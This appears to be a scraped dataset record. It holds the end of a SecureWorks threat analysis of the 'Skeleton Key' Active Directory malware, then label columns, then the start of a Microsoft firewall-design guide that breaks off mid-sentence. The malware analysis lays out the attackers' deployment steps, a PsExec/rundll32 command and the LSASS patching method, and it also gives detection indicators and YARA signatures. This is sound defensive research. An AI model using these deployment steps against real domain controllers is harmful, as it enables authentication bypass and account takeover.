password of their choosing to authenticate as any user. This malware was given the name ""Skeleton Key."" CTU researchers discovered Skeleton Key on a client network that used single-factor authentication for access to webmail and VPN, giving the threat actor unfettered access to remote access services. Skeleton Key is deployed as an in-memory patch on a victim's AD domain controllers to allow the threat actor to authenticate as any user, while legitimate users can continue to authenticate as normal. Skeleton Key's authentication bypass also allows threat actors with physical access to login and unlock systems that authenticate users against the compromised AD domain controllers. The only known Skeleton Key samples as of this publication lack persistence and must be redeployed when a domain controller is restarted. CTU researchers suspect that threat actors can only identify a restart based on their inability to successfully authenticate using the bypass, as no other malware was detected on the domain controllers. Between eight hours and eight days of a restart, threat actors used other remote access malware already deployed on the victim's network to redeploy Skeleton Key on the domain controllers. Skeleton Key requires domain administrator credentials for deployment. CTU researchers have observed threat actors deploying Skeleton Key using credentials stolen from critical servers, administrators' workstations, and the targeted domain controllers. Analysis CTU researchers initially observed a Skeleton Key sample named ole64.dll on a compromised network (see Table 1). Attribute Value or description Filename ole64.dll MD5 bf45086e6334f647fda33576e2a05826 SHA1 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 Compile time 2014-02-19 09:31:29 Deployed As required (typically downloaded using malware and then deleted after use) File size 49664 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports ii (installs the patch) uu (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 1. Skeleton Key sample ole64.dll. When investigating ole64.dll, CTU researchers discovered an older variant named msuta64.dll on a ""jump host"" in the victim's network (see Table 2). The jump host is any system previously compromised by the threat actors' remote access malware. This variant includes additional debug statements, which allow the Skeleton Key developer to observe the memory addresses involved in the patching process. Attribute Value or description Filename msuta64.dll MD5 66da7ed621149975f6e643b4f9886cfd SHA1 ad61e8daeeba43e442514b177a1b41ad4b7c6727 Compile time 2012-09-20 08:07:12 Deployed 2013-09-29 07:58:16 File size 50688 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports i (installs the patch) u (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 2. Skeleton Key sample msuta64.dll. The threat actors used the following process to deploy Skeleton Key as a 64-bit DLL file: Upload the Skeleton Key DLL file to a staging directory on a jump host in the victim's network. CTU researchers have observed three filenames associated with the Skeleton Key DLL file: ole64.dll, ole.dll, and msuta64.dll. Windows systems include a legitimate ole32.dll file, but it is not related to this malware. Attempt to access the administrative shares on the domain controllers using a list of stolen domain administrator credentials. If the stolen credentials are no longer valid, use password theft tools to extract clear text domain administrator passwords from one of the following locations, which suggest a familiarity with the victim's environment: memory of another accessible server on the victim's network domain administrators' workstations targeted domain controllers Use valid domain administrator credentials to copy the Skeleton Key DLL to C:\\WINDOWS\\system32\\ on the target domain controllers. Use the PsExec utility to run the Skeleton Key DLL remotely on the target domain controllers using the rundll32 command. The threat actor's chosen password is formatted as an NTLM password hash rather than provided in clear text. After Skeleton Key is deployed, the threat actor can authenticate as any user using the threat actor's configured NTLM password hash: psexec -accepteula \\\\%TARGET-DC% rundll32 ii Delete the Skeleton Key DLL file from C:\\WINDOWS\\system32\\ on the targeted domain controllers. Delete the Skeleton Key DLL file from the staging directory on the jump host. Test for successful Skeleton Key deployment using ""net use"" commands with an AD account and the password that corresponds to the configured NTLM hash. CTU researchers have observed a pattern for the injected password that suggests that the threat group has deployed Skeleton Key in multiple organizations. The use of PsExec can be detected within a Windows environment by alerting on the Windows events generated by the utility. The following Event IDs observed on the targeted domain controllers record the PsExec tool installing its service, starting the service, and stopping the service. These events are created every time PsExec is used, so additional analysis of the events is required to determine if they are malicious or legitimate: Unexpected PSEXESVC service install events (event ID 7045) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: A service was installed in the system. Service File Name: %SystemRoot%\\PSEXESVC.exe Unexpected PSEXESVC service start / stop events (event ID 7036) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: ""The PSEXESVC service entered the running state."" ""The PSEXESVC service entered the stopped state."" When run, Skeleton Key performs the following tasks: Check for one of the following compatible 64-bit Windows versions. The malware is not compatible with 32-bit Windows versions or with Windows Server versions beginning with Windows Server 2012 (6.2). 6.1 (Windows 2008 R2) 6.0 (Windows Server 2008) 5.2 (Windows 2003 R2) Use the SeDebugPrivilege function to acquire the necessary administrator privileges to write to the Local Security Authority Subsystem Service (LSASS) process. This process controls security functions for the AD domain, including user account authentication. Enumerate available processes to acquire a handle to the LSASS process. Obtain addresses for the authentication-related functions that will be patched: CDLocateCSystem \xe2\x80\x94 located in cryptdll.dll SamIRetrieveMultiplePrimaryCredentials \xe2\x80\x94 located in samsrv.dll SamIRetrievePrimaryCredentials \xe2\x80\x94 located in samsrv.dll Perform OS-specific adjustments using the global variable set during the compatibility check in Step 1. Use the OpenProcess function to acquire a handle to the LSASS process. Reserve and allocate the required memory space to edit and patch the LSASS process's memory. Patch relevant functions based on the operating system: CDLocateCSystem (all compatible Windows versions) SamIRetrieveMultiplePrimaryCredentials (only Windows 2008 R2 (6.1)) SamIRetrievePrimaryCredentials (all compatible Windows versions other than Windows 2008 R2 (6.1)) Skeleton Key performs the following steps to patch each function: Call the VirtualProtectEx function to change the memory protection to allow writing to the required memory allocations (PAGE_EXECUTE_READWRITE, 0x40). This step allows the function's code to be updated in memory. Call the WriteProcessMemory function to change the address of the target function to point to the patched code. This change causes calls to the target function to use the patch instead. Restore the original memory protection by calling VirtualProtectEx with the original memory protection flags. This step is likely to avoid suspicious writable and executable memory allocations. After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords. This authentication bypass applies to all services that use single-factor AD authentication, such as web mail and VPNs, and it also allows a threat actor with physical access to a compromised system to unlock the computer by typing the injected password on the keyboard. Possible link to domain replication issues The Skeleton Key malware does not transmit network traffic, making network-based detection ineffective. However, the malware has been implicated in domain replication issues that may indicate an infection. Shortly after each deployment of the Skeleton Key malware observed by CTU researchers, domain controllers experienced replication issues that could not be explained or addressed by Microsoft support and eventually required a reboot to resolve. These reboots removed Skeleton Key's authentication bypass because the malware does not have a persistence mechanism. Figure 1 shows the timeline of these reboots and the threat actors' subsequent password theft, lateral expansion, and Skeleton Key deployment. Redeployments typically occurred within several hours to several days of the reboot. Figure 1. Relationships of deployments and reboots observed by CTU researchers, April - July 2014. (Source: Dell SecureWorks) Figure 1. Relationships of deployments and reboots observed by CTU researchers, April - July 2014. (Source: Dell SecureWorks) Countermeasures The Skeleton Key malware bypasses authentication and does not generate network traffic. As a result, network-based intrusion detection and intrusion prevention systems (IDS/IPS) will not detect this threat. However, CTU researchers wrote the YARA signatures in Appendix A to detect a Skeleton Key DLL and the code it injects into the LSASS process's memory. Threat indicators The threat indicators in Table 3 can be used to detect activity related to the Skeleton Key malware. Indicator Type Context 66da7ed621149975f6e643b4f9886cfd MD5 hash Skeleton Key patch msuta64.dll ad61e8daeeba43e442514b177a1b41ad4b7c6727 SHA1 hash Skeleton Key patch msuta64.dll bf45086e6334f647fda33576e2a05826 MD5 hash Skeleton Key patch ole64.dll 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 SHA1 hash Skeleton Key patch ole64.dll Table 3. Indicators for the Skeleton Key malware. Conclusion The CTU research team recommends that organizations implement the following protections to defend against the Skeleton Key malware: Multi-factor authentication for all remote access solutions, including VPNs and remote email, prevents threat actors from bypassing single-factor authentication or authenticating using stolen static credentials. A process creation audit trail on workstations and servers, including AD domain controllers, may detect Skeleton Key deployments. Specifically, organizations should look for the following artifacts: Unexpected PsExec.exe processes and the use of the PsExec ""-accepteula"" command line argument Unexpected rundll32.exe processes Process arguments that resemble NTLM hashes (32 characters long, containing digits 0-9 and characters A-F) Monitoring Windows Service Control Manager events on AD domain controllers may reveal unexpected service installation events (event ID 7045) and service start/stop events (event ID 7036) for PsExec's PSEXESVC service. Appendix A \xe2\x80\x94 YARA signatures The following YARA signatures detect the presence of Skeleton Key on a system, by scanning either a suspicious file or a memory dump of Active Directory domain controllers suspected to contain Skeleton Key. rule skeleton_key_patcher { strings: $target_process = ""lsass.exe"" wide $dll1 = ""cryptdll.dll"" $dll2 = ""samsrv.dll"" $name = ""HookDC.dll"" $patched1 = ""CDLocateCSystem"" $patched2 = ""SamIRetrievePrimaryCredentials"" $patched3 = ""SamIRetrieveMultiplePrimaryCredentials"" condition: all of them } rule skeleton_key_injected_code { strings: $injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 } $patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 } $patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } $patch_SamIRetrieveMultiplePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } condition: any of them } Enjoyed what you read? Share it! RELATED CONTENT LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team TrickBot modifications target U.S. mobile users BLOG TrickBot Modifications Target U.S. Mobile Users Counter Threat Unit\xe2\x84\xa2 Research Team LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team LinkedInTwitterFacebookGitHub Careers RSS Feed Manage Subscriptions Sitemap Privacy Policy Supply Chain Transparency Terms & Conditions Dell Technologies English \xc2\xa9 2019 SecureWorks, Inc.","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Perimeter Firewall Design | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Perimeter Firewall Design 06/29/2009 56 minutes to read In this article Updated : February 6, 2004 On This Page In This Module Objectives Applies To How To Use This Module Design Guidelines System Attacks and Defense Device Definition Firewall Features Firewall Classes Class 1 - Personal Firewall Class 2 - Router Firewall Class 3 - Low-end Hardware Firewall Class 4 - High-end Hardware Firewall Class 5 - High-end Server Firewall Perimeter Firewall Usage Perimeter Firewall Rules Hardware Requirements Firewall Availability Security Scalability Performance Consolidation Standards and Guidelines Summary References In This Module This module helps you to select a suitable firewall product for your organization's perimeter network. It presents the different classes of available firewalls and highlights their significant features. It also gives you guidance in determining your own requirements and helps you to select the most appropriate product. Objectives Use this module to: Identify the features necessary in your perimeter firewall. Classify firewall products. Select the best firewall product for your perimeter firewall. Applies To This module applies to the following technologies: Ethernet/IP-based firewall products How To Use This Module Before reading this module, you should have an understanding of the TCP/IP protocol, your own network architecture, and in particular the devices in your perimeter network. It would also be useful to find out what inbound traffic from the Internet can be considered valid and what is invalid. The design guidelines presented in this module will help you select the features you need from your firewall, taking into account major considerations such as growth and cost. The module will also provide you with information on some of the most damaging intrusions so that you can determine which are most likely to occur in your environment and how intrusions can be prevented, not just by installing a firewall but, for example, by tightening up server configurations or discussing controls with your Internet Service Provider (ISP). This module also defines different classes of firewalls and using the design guidelines you should be able to select the most appropriate class of firewall to meet your requirements. From the knowledge provided in this module and the technical terminology, you should be able to discuss with firewall manufacturers the products they can provide and evaluate their suitability for your requirements. Design Guidelines Network intrusions from both internal and external users occur with increasing frequency, and protection from these intrusions must be established. Although a firewall offers protection for your network, it also costs money and creates an impediment to traffic flow, so you should look for one that is as cost effective and efficient as possible. Network Architecture In an enterprise network architecture, there will generally be three zones: Border network This network faces directly onto the Internet via a router which should provide an initial layer of protection, in the form of basic network traffic filtering. The router feeds data through to the perimeter network via a perimeter firewall. Perimeter network This network, often called the DMZ (demilitarized zone network) or edge network, links incoming users to the Web servers or other services. The Web servers then link to the internal networks via an internal firewall. Internal Networks The internal networks link the internal servers, such as SQL Server and the internal users. These networks are depicted in Figure 1. Figure 1. Enterprise Network Architecture Design Inputs A firewall checks incoming IP packets and blocks those it believes are intrusive. Some blocking can be done by recognizing by default that certain packets are illegal, others by configuring the firewall to block them. The TCP/IP protocol was designed many years ago, without any concept of hacking or intrusion, and it has many weaknesses. For example, the ICMP protocol was designed as a signaling mechanism within TCP/IP, but this protocol is open to abuse and can lead to such problems as denial-of-service (DoS) attacks. A perimeter firewall can have a more restricted capability than an internal firewall, because incoming traffic is more limited since its legal destination is the Web server or other special services. Many types of firewalls are available, differentiated partly by price, but also on features and performance. Generally, the more expensive the firewall, the more power and features it has. Later on this module, the firewalls are grouped into classes to differentiate them, but before selecting a firewall, you need to determine what your requirements are, taking the following considerations into account: Budget Existing facilities Availability Scalability Features required Budget What is the available budget? Every firewall in the environment should provide the highest possible level of service while remaining cost-effective, but be aware of the resultant damage to your business if the firewall is too restricted by cost. Consider the downtime costs in your organization if the service is suspended by a denial of service attack. Existing Facilities Are there existing facilities that can be used to save costs? There may already be firewalls in the environment that can be reused and routers that can have a firewall feature set installed. Your ISP can often implement firewall restrictions on your link, such as rate-limiting, i.e. limiting the rate at which certain packets are sent to you in order to reduce distributed denial of service attacks, DDoS, when your network is bombarded simultaneously by many other computers. Ask your ISP if they perform filtering according to RFCs 1918 and 2827. Availability Does the firewall need to be available at all times? If you are offering a public Web server facility when users may want to connect 24 hours a day, you need almost 100% uptime. With any firewall there is always a chance of failure, so you need to mitigate against that. The availability of a firewall can be improved by two methods: Redundant components Duplicating those components more likely to fail, such as the power supply, improves the resilience of the firewall, as the first component can fail with no effect on operations. Low cost firewalls usually do not have any redundant options, and adding resilience to your firewall adds to the cost without increasing the processing power. Duplicate devices Duplicating the firewall device provides a totally resilient system, but again at a considerable cost, as it also requires totally duplicate network cabling and duplicate connectivity in the routers or switches to which the firewall connects. However, depending upon the type of firewall, it may also double the throughput to compensate. In theory, all firewalls from the smallest to the largest could be duplicated, but in practice you also need a software switchover mechanism which may not be present in the smaller firewalls. Scalability What is the throughput requirement of the firewall? Throughput can be considered both in terms of bits per second and packets transferred per second. If it is a new venture, you may not know the throughput rates, and if the venture is successful, the throughput from the Internet could escalate rapidly. In order to handle the change, you need to select a firewall solution that can scale up as the throughput increases, either by adding more components to your firewall, or by installing another firewall in parallel. Features Which firewall features are required? Based on risk assessments conducted against the services provided in your organization, you can determine which firewall features are required to protect the assets that provide the services. If VPNs (Virtual Private Networks) are required, then this will affect the design. System Attacks and Defense This section provides a summary of some of the better known system attacks, along with reasons for using a firewall service as the first line of defense. External Attacks The Internet is a haven for those who want to adversely affect organizations or steal trade secrets to gain competitive advantage. If you install a perimeter firewall and look at the log of intrusions, you will be surprised by the volume. Most of these intrusions are just probes to see if your machine responds and to find out what services you are running. This may seem innocuous, but if the attacker discovers your machine he may then attack your service, knowing what weaknesses it has. Internal Attacks In addition to providing protection from Internet-based attacks, sensitive information must be protected. Most organizations have sensitive information that should be protected from certain users on the internal network, including employees but also vendors, contractors, and customers. While a perimeter firewall is primarily there to protect against external intrusions, knowledgeable internal users may try to enter via the Internet. Types of Intrusion Intrusion threats can take many forms, and describing them all here would serve only a limited purpose, because new ones are created on a daily basis. Some intrusions, such as pinging a server address, may seem harmless, but after discovering the presence of a server, the hacker might attempt a more serious attack. In other words, all intrusions should be considered potentially harmful. Some of the major intrusions are: Packet Sniffers A sniffer is a software application or hardware device that attaches to the LAN and captures information from Ethernet frames. The original intention of these systems was to troubleshoot and analyze Ethernet traffic or to delve deeper into the frames to examine individual IP packets. Sniffers operate in promiscuous mode; that is, they listen to every packet on the physical wire. Many applications, such as Telnet, send user name and password information in clear text that can be read by sniffer products, and therefore a hacker with a sniffer could gain access to many applications. Sniffing cannot be prevented by a firewall as a sniffer does not generate network traffic. There are various measures to counter sniffing, primarily by ensuring that strong encrypted passwords are used, but this is beyond the scope of this module. IP Spoofing IP spoofing occurs when the source address of an IP packet is changed to hide the identity of the sender. Because the routing operation within the Internet uses only the destination address to send a packet on its way and ignores the source address, a hacker can send a destructive packet to your system disguising the source without you knowing where it came from. Spoofing is not necessarily destructive, but it signals that an intrusion is at hand. The address may be outside your network (to hide the identity of the intruder) or it may be one of your trusted internal addresses with privileged access. Spoofing is typically used for denial of service attacks, which are described later in this module. It is possible to prevent IP spoofing by implementing either or both of the following mechanisms: Access control Deny access to incoming packets from the Internet with a source address that is on your internal network. RFC 2827 filtering It is important to ensure that no IP spoofing takes place on your outgoing traffic. Spoofed packets must originate on somebody's network; you want to be certain that your network is not being used as a source for spoofing. Therefore, you should prevent all outgoing traffic from your network that does not have a source address within your own allocation. Your ISP might also be able to drop spoofed traffic from your network by checking if the source address is one that belongs to your network. This technique is known as RFC 2827 filtering; contact your ISP for more information about how to implement it. Filtering outbound traffic has no benefit for you, but another network performing similar filtering could prevent a spoofed attack on your network. Most modern firewalls have the ability to prevent inbound IP spoofing. Denial-of-Service Attacks Denial of service (DoS) attacks are among the hardest to prevent. They differ from other types of attack in that they do not cause permanent damage to your network; instead, they try to stop the network functioning by bombarding a particular computer (either a server or a network device), or by degrading the throughput of network links to the point where performance is so abysmal it causes ill-will among customers and loss of business to the organization. A distributed DoS (DDoS) attack is an attack initiated from many other computers concentrating the bombardment on your system. The attacking computers have not necessarily initiated the attack themselves, but due to their own security vulnerabilities, they have allowed themselves to be infiltrated by a hacker who has directed them to send high volumes of data to your network, congesting either the link to your ISP or one of your devices. Application Layer Attacks Application layer attacks are often the most publicized attacks, and usually exploit well-known weaknesses in applications, such as Web servers and database servers. The problem, particularly for Web servers, is that they are designed to be accessed by public users, who are unknown and cannot be trusted. Most attacks are against known deficiencies in the product, so the best defense is to install the latest updates from the manufacturers. The infamous Structured Query Language (SQL) Slammer worm affected 35,000 systems within a very short time of its release in January 2003. The worm exploited a known problem in Microsoft SQL Server\xe2\x84\xa2 2000 for which Microsoft had already issued a fix four months earlier in August 2002, thus taking advantage of the fact that many administrators had neither applied the recommended update nor had adequate firewalls in place (which could have dropped packets destined for the port that the worm used). Note that a firewall is just a backstop in these situations; manufacturers recommend that upgrades should be applied to all products, particularly to prevent application layer attacks. Network Reconnaissance Network reconnaissance is the scanning of networks to discover valid IP addresses, domain name system (DNS) names, and IP ports prior to launching an attack. Although network reconnaissance is harmless by itself, discovering which addresses are in use can help someone launch a hostile attack. In fact, if you look at the logs for a firewall, you will find that most intrusions are of this nature; typical probes include scanning for listening transport control protocol (TCP) and user datagram protocol (UDP) ports, as well as for other well-known listening ports, such as those used by Microsoft SQL Server, NetBIOS, HTTP, and SMTP. All such probes seek a reply, which tells the hacker that the server exists and runs one of these services. Many of these probes can be prevented by the border router or by a firewall. Many services are present by default, but turn off any unrequired services, but turning off some of them may restrict your network diagnostics capabilities. Viruses/Trojan Horses Viruses generally cannot be detected by firewalls, as they are often embedded in email attachments. Traditional viruses tended to just damage the device that they had contaminated, but modern viruses often try to replicate and damage either other local machines or spread out onto the Internet by sending multiple emails with the virus attached. Many of these viruses install a Trojan Horse program on the contaminated device. A Trojan Horse program may not do any direct damage, but rather sends information from the device on which it is installed over the Internet to the hacker, who can then launch a targeted attack on that device, knowing what software it is running and where it is vulnerable. While the primary defense against viruses is always to maintain up-to-date anti-virus software on the device, the perimeter firewall may be useful in limiting the effectiveness of the Trojan Horse program. Device Definition A firewall is a mechanism for controlling the flow of IP traffic between two networks. Firewall devices typically operate at L3 of the OSI model, although some models can operate at higher levels as well. Firewalls generally provide the following benefits: Defending internal servers from network attacks Enforcing network usage and access policies Monitoring traffic and generating alerts when suspicious patterns are detected It is important to note that firewalls mitigate only certain types of security risks. A firewall does not usually prevent the damage that can be inflicted against a server with a software vulnerability. Firewalls should be implemented as part of an organization's comprehensive security architecture. Firewall Features Depending on the features that a firewall supports, traffic is either allowed or blocked using a variety of techniques. These techniques offer varying degrees of protection, based on the capabilities of the firewall. The following firewall features are listed in increasing order of complexity: Network adapter input filters Static packet filters Network address translation (NAT) Stateful inspection Circuit-level inspection Proxy Application layer filtering In general, firewalls that provide complex features will also support the simpler features. However, you should read vendor information carefully when choosing a firewall, because there can be subtle differences between its implied and actual capabilities. When selecting a firewall, you must inquire about the features and test it to ensure that the product can indeed perform according to specifications. Network Adapter Input Filters Network adapter input filtering examines source or destination addresses and other information in the incoming packet, and either blocks the packet or allows it through. It applies only to incoming traffic and cannot control outgoing traffic. It matches IP addresses, port numbers for UDP and TCP, as well as the protocol of the traffic, TCP, UDP, and generic routing encapsulation (GRE). For a perimeter firewall protecting a Web server, legal incoming traffic should only be able to access the Web server IP address and usually a limited range of port numbers, such as 80 for HTTP or 443 for HTTPS. Although the perimeter firewall should have this control, it should also be implemented in the border router. Network adapter input filtering allows a quick and efficient denial of standard incoming packets that meet the rule criteria configured in the firewall. However, this form of filtering can easily be evaded, as it only matches the headers of the IP traffic, working on the basic assumption that the traffic being filtered follows IP standards and is not crafted to evade the filtering. Static Packet Filters Static packet filters are similar to network adapter input filters in the sense that they simply match IP headers to determine whether or not to allow the traffic to pass through the interface. However, static packet filters allow control over outbound as well as inbound communications to an interface. Furthermore, static packet filters typically allow an additional function over the network adapter filtering, which is to check if the Acknowledged (ACK) bit is set on the IP header. The ACK bit gives information on whether the packet is a new request or a return request from an original request. It does not verify that the packet was originally sent by the interface receiving it; it merely checks whether the traffic coming into the interface appears to be return traffic, based on the conventions of the IP headers. This technique only applies to the TCP protocol and not the UDP protocol. Like network adapter input filtering, static packet filtering is very fast, but its capabilities are limited, and it can be evaded by specifically crafted traffic. As with network adapter input filtering, static packet filtering should also be implemented on the border router in addition to the perimeter firewall. Network Address Translation In the worldwide IP address range, certain address ranges are designated as private addresses. These are intended to be used in your organization and have no meaning in the Internet. Traffic destined for any of these IP addresses cannot be routed through the Internet, so assigning a private address to your internal devices gives them some protection against intrusion. However, these internal devices often need to access the Internet themselves and so Network Address Translation (NAT) converts the private address into an Internet address. Although NAT is not strictly a firewall technology, concealing the real IP address of a server prevents attackers from gaining valuable fingerprinting information about the server. Stateful Inspection In stateful inspection, all outgoing traffic is logged in a state table. When the connection traffic returns to the interface, the state table is checked to ensure that the traffic originated from this interface. Stateful inspection is a bit slower than static packet filtering; however, it ensures that the traffic is allowed to pass only if it matches the outgoing traffic requests. The state table contains items such as destination IP address, source IP address, port being called, and originating host. Certain firewalls may store more information in the state table than others (such as IP fragments sent and received). The firewall can verify that the traffic is processed when all or just some of the fragmented information returns. Different vendors' firewalls implement the stateful inspection feature differently; so you should read the firewall documentation carefully. The stateful inspection feature typically assists in mitigating the risk posed by network reconnaissance and IP spoofing. Circuit-level Inspection With circuit-level filtering, it is possible to inspect sessions, as opposed to connections or packets. Sessions are established only in response to a user request and may include multiple connections. Circuit-level filtering provides built-in support for protocols with secondary connections, such as FTP and streaming media. It typically assists in mitigating the risks posed by network reconnaissance, DoS, and IP spoofing attacks. Proxy Firewalls Proxy firewalls request information on behalf of a client. In contrast to the firewall technologies discussed above, the communication does not occur directly between the client and the server hosting the service. Instead, the proxy firewall gathers information on behalf of the client and returns the data it receives from the service back to the client. Because the proxy server gathers this information for one client, it also caches the content to disk or memory. If another client makes an identical data request, the request can be satisfied from the cache, resulting in reduced network traffic and server processing time. For non-encrypted sessions, such as FTP read-only and HTTP sessions, a proxy firewall actually creates individual sessions with both the client and the server, so there is never a direct connection between the two. For encrypted sessions, on the other hand, the proxy server verifies that the header information conforms to the standards of Secure Sockets Layer (SSL) communication before allowing the traffic to pass. However, the proxy cannot inspect the data passing by, because it is encrypted end-to-end by the client and the server. The advantages of a proxy server over the firewall technologies discussed above include: No direct connections between client and server The client and server do not usually make direct connections to each other; even if they do (such as with SSL), protocol header and traffic inspection is performed. The server can cache the content of frequently requested sites Caching saves bandwidth and prevents unnecessary requests from exiting the environment. Validation of protocols that pass through it In addition to validating the port number through which the communication travels, proxy servers also validate the protocols that pass through them. The most typical protocols that are inspected are FTP download only, HTTP, SSL, and some text messaging services (such as text only, no video, audio, or file transfers). Can be configured to forward requests based on a user's ID Proxy servers can often be configured to forward requests based on user ID (that is, restrictions can be set only for certain users), rather than just source IP, port, or protocol. The main drawback to a proxy server is that it requires much more processing power to perform protocol inspection. However, processing power is increasing all the time, so this is becoming less of an issue. Still, proxy servers do not have the throughput of a stateful or packet filtering firewall. Arguably, the added benefits of protocol inspection are necessary in a world where high-speed networks abound for home users and where Internet connectivity is becoming increasingly available to non-trusted nodes that are connected by ISPs with little or no legal obligation to provide trusted Internet services. The proxy feature typically assists in mitigating the risk posed by network reconnaissance, DoS, IP spoofing attacks, virus/Trojan horse, and some application layer attacks. Application Layer Filtering The most sophisticated level of firewall traffic inspection is application-level filtering. Good application filters allow you to analyze a data stream for a particular application and provide application-specific processing, including inspecting, screening or blocking, redirecting, and modifying data as it passes through the firewall. This mechanism is used to protect against things like unsafe SMTP commands or attacks against internal Domain Name System (DNS) servers. Third-party tools for content screening, such as virus detection, lexical analysis, and site categorization, can usually be added to your firewall. An application layer firewall has the ability to inspect many different protocols, based on the traffic that passes through it. Unlike a proxy firewall, which usually inspects the Internet traffic (such as HTTP, FTP download, and SSL) the application layer firewall has much greater control over the way that traffic travels through the firewall. For example, an application layer firewall is capable of allowing only the UDP traffic that originates inside the firewall boundary to pass through. If an Internet host was to port scan a stateful firewall to see if it allowed DNS traffic into the environment, the port scan would probably show that the well-known port associated with DNS was open, but once an attack is mounted, the stateful firewall would reject the requests, because they did not originate internally. An application layer firewall might open ports dynamically, based on whether or not the traffic originates internally. The application layer firewall feature assists in mitigating the risks posed by IP spoofing, DoS, some application layer attacks, network reconnaissance, and virus/Trojan horse attacks. Drawbacks of an application layer firewall are similar to the proxy, in the sense that it requires much more processing power and is typically much slower at passing traffic than stateful or static filtering firewalls. The most important consideration when using an application layer firewall is determining what the firewall is capable of doing at the application layer. The application layer feature ensures that the traffic being passed over a port is appropriate. Unlike a packet filter or stateful inspection firewall that simply looks at the port and at the source and destination IP addresses, firewalls that support the application layer filtering feature have the ability to inspect the both data and the commands being passed back and forth. Most firewalls that support the application layer feature only have application layer filtering for clear text traffic, such as a proxy-aware messaging service, HTTP, and FTP. It is important to keep in mind that a firewall which supports this feature can govern traffic going in and out of the environment. Another advantage of this feature is the ability to inspect DNS traffic as it goes through the firewall to look for DNS-specific commands. This additional layer of protection ensures that users or attackers cannot conceal information in allowed types of traffic. If your organization has an online store, which collects credit card numbers and other personal information about customers, it is prudent to take the highest level of precautions in protecting this information. In these cases, it is essential that this type of high security data is encrypted between the user's PC and your Web servers, using the Secure Sockets Layer (SSL) protocol. It is important to distinguish those cases where the application layer feature is used in conjunction with SSL. SSL is encrypted, and the firewall cannot understand the protocol commands because they are located within the encrypted packet. Each firewall that supports the application layer feature handles this differently, so it is important to read the fine print of the documentation for whichever firewall you choose. The problem is that no device is supposed to be able to inspect data once an SSL session is established and the encryption is negotiated. For example, a client using a firewall that supports the proxy-type application layer feature requests the firewall to initiate a connection to a secure Web server on its behalf. The firewall and the server do the initial setup of the TCP connection, and the firewall hands over the connection to the client to set up the encryption with the server. After the connection is handed over to the client, the firewall no longer has the ability to inspect the data. When the application layer feature is used to expose Internet services publicly, the following options are available: Terminating the SSL traffic at the firewall This allows the firewall to inspect incoming SSL connections for legitimate Web traffic and to discard traffic as the firewall decrypts the data for the Internet service. Regenerating SSL traffic from the firewall to the exposed Web service This is particularly helpful if basic credentials (such as clear text user name and password) are used within the SSL tunnel. Individuals who can sniff traffic between the internal interface of the firewall and the published Web service cannot get at the traffic because it is re-encrypted. Allowing the SSL traffic to pass through the firewall to the back-end server This is 